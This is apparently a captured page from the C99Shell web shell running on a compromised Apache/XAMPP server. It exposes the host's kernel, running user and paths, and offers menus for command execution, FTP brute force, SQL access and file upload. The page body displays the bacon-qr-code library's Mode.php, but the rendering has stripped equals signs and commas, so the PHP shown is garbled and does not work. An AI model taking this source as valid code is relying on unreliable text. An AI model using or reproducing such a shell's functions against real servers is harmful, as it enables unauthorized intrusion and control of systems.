!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/bacon/bacon-qr-code/src/Common/   drwxr-xr-x
Free 13.02 GB of 61.93 GB (21.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Mode.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode\Common;

use 
DASPRiD\Enum\AbstractEnum;

/**
 * Enum representing various modes in which data can be encoded to bits.
 *
 * @method static self TERMINATOR()
 * @method static self NUMERIC()
 * @method static self ALPHANUMERIC()
 * @method static self STRUCTURED_APPEND()
 * @method static self BYTE()
 * @method static self ECI()
 * @method static self KANJI()
 * @method static self FNC1_FIRST_POSITION()
 * @method static self FNC1_SECOND_POSITION()
 * @method static self HANZI()
 */
final class Mode extends AbstractEnum
{
    protected const 
TERMINATOR = [[000], 0x00];
    protected const 
NUMERIC = [[101214], 0x01];
    protected const 
ALPHANUMERIC = [[91113], 0x02];
    protected const 
STRUCTURED_APPEND = [[000], 0x03];
    protected const 
BYTE = [[81616], 0x04];
    protected const 
ECI = [[000], 0x07];
    protected const 
KANJI = [[81012], 0x08];
    protected const 
FNC1_FIRST_POSITION = [[000], 0x05];
    protected const 
FNC1_SECOND_POSITION = [[000], 0x09];
    protected const 
HANZI = [[81012], 0x0d];

    
/**
     * @var int[]
     */
    
private $characterCountBitsForVersions;

    
/**
     * @var int
     */
    
private $bits;

    protected function 
__construct(array $characterCountBitsForVersionsint $bits)
    {
        
$this->characterCountBitsForVersions $characterCountBitsForVersions;
        
$this->bits $bits;
    }

    
/**
     * Returns the number of bits used in a specific QR code version.
     */
    
public function getCharacterCountBits(Version $version) : int
    
{
        
$number $version->getVersionNumber();

        if (
$number <= 9) {
            
$offset 0;
        } elseif (
$number <= 26) {
            
$offset 1;
        } else {
            
$offset 2;
        }

        return 
$this->characterCountBitsForVersions[$offset];
    }

    
/**
     * Returns the four bits used to encode this mode.
     */
    
public function getBits() : int
    
{
        return 
$this->bits;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5401 ]--